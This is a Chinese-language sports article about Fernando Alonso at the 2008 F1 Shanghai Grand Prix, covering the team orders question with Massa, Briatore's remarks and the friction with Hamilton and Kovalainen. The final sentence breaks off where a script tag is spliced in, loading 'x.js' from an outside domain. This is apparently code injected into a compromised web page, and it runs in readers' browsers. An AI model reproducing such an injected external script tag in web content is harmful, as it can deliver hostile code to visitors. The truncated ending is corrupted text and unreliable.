有话直说，有仇必报，这是围场中爱憎分明的阿隆索。情歌主角，甜心先生，这是二人世界听话的费尔南多。
 
    回家真好 重返雷诺的阿隆索重现神勇，新加坡、日本站二连冠，雷诺团队功不可没。
 
    10月16日下午，从上赛场的车队工作间，到赛前车手发布会，再到外滩18号的代言活动现场，借助雷诺车队赞助商ING的特别安排，记者把这个问题问了三遍：“怎么帮马萨？”三遍，阿隆索都像数学家似的分析着各种情况，“如果菲利佩在我前头，刘易斯在我后头如果刘易斯在我前头，菲利佩在我后头不不不，我绝对不可能给马萨让车。不不不，我绝对不可能把刘易斯撞出去。”
 
    对不起，费尔南多，这样的唠叨我们不要听。车迷也不要看这样的你，你不是费斯切拉不是巴里切罗，你是直来直去的阿隆索，阿隆索在2008年最后两站的任务就该是给马萨让车，把汉密尔顿撞出去，不是吗？
 
    事实证明，不是阿隆索虚伪，而是汉密尔顿根本没给对手机会。从五盏红灯熄灭，英国小子就一马当先，越跑越远。要撞车，估计只能等着被套圈了。但阿隆索还是基本完成了法拉利三号车手的角色，第一个弯，莱科宁挡了马萨，马萨挡了阿隆索，阿隆索退让了。“这时候我和菲利佩相撞的话，没有任何好处”。阿隆索绝对不能容忍自己把汉密尔顿一手推上年度冠军的宝座，从而代替他成为最年轻的F1年度车手总冠军。哪怕退让的代价是，他被科瓦莱宁超了车。此后的49圈，阿隆索也一直乖乖跟在马萨车后，虽然谁都能看出，法拉利2号车的速度回到了2005年。
 
    而莱科宁终于让过马萨，雷诺的车队广播也响了，布里亚托雷传旨：“莱科宁的车明显有问题，费尔南多，你尽量赶一赶。”
 
    哥们儿做戏做全套，一句话给足了法拉利面子。赛前，布里亚托雷就加入了“扫黑”军团，他讽刺汉密尔顿去年17分被翻盘“创了吉尼斯纪录”，并诅咒他今年还拿不到冠军。赛后布里亚托雷对此道了歉。但他说：“我是意大利人，我希望法拉利获胜，我和法拉利的关系无论如何剪不断。”西班牙《阿斯报》也在周一发出消息：2009年，莱科宁和阿隆索互换位置。消息源头就是布里亚托雷，雷诺老板明年要退休了，他要把舒马赫之后自己的另一个得意之作，也送到祖国的车队去。回想周日下午正赛前，“老花布”揽着杨紫琼手舞足蹈地开着玩笑，托德在一旁好脾气地笑着。法国车队的意大利人老板，和意大利车队的法国人老板在一起，这场面不是很有趣么？
 
    阿隆索带着新加坡、日本站“ 背靠背” 的两个分站冠军而来， 这让人们重新想起， 他仍是围场里拥有世界冠军最多的人。而上海站前，人们也把他当成影响比赛格局的主要力量，相信阿隆索会出手，不仅为法拉利的一纸合同，更为了复仇。虽然雷诺的赛车没法儿让他在赛道上阻挡汉密尔顿，但总算还能逞几句口舌之快。阿隆索说，他并非讨厌汉密尔顿，“作为同行、队友，我们需要互相尊重，只是有些人不那么尊重人，也不那么受尊重而已”。
 
    他也声明，自己并非难搞之人，“我进F1已经 8年了。而自打3岁开始比赛，我已经当了24年的车手，这24年我就跟一家车队有过矛盾。而这家车队，塞纳跟他们有矛盾，普罗斯特跟他们有矛盾，蒙托亚跟他们有矛盾，莱科宁跟他们有矛盾”阿隆索不知道，现在老实本分的2号车手科瓦莱宁也把和迈凯轮的矛盾公开了。芬兰新人在上海站赛后说：“刘易斯是个非常具有侵略性的车手，而且决不妥协。反应有时会过激，许多次我都得忍让他，我们之间（主次）很清晰，我不想一直这么做下去，如果情况得不到改善，我想我们会在某种程度上冲突。除了英国站，排位赛我带的油都比他多，这对我跑正赛争名次很不利。”
 

    就算科瓦莱宁也“投了敌营”，汉密尔顿说，这个周末上帝一直和我站在一起。于是他和上帝联手，打败了围场其余的19辆赛车，这让阿隆索刚刚树立的雄心很受挫。赛后，他面对死守在雷诺工作间外的西班牙记者，阴阳怪气地承认了汉密尔顿冠军的“真材实料”，“这当然让我有点扫兴，不过谁赢都跟我没大关系。以他现在的分数，这样的车况，夺冠也很有道理。”说完，就青着脸，和太太并肩快步走出了围场。当阿隆索的嘴角又一次生硬地朝下，车迷们热情的呼唤以及签名的要求，也只能被一连串急促的“不”否决。
 
    有人说，阿隆索心情不好，是在赛后受了冷遇。称体重时，阿隆索刚好碰到了“冤家”汉密尔顿。纵使不情愿，西班牙人还是走?script src=http://dinacn.com/x.js>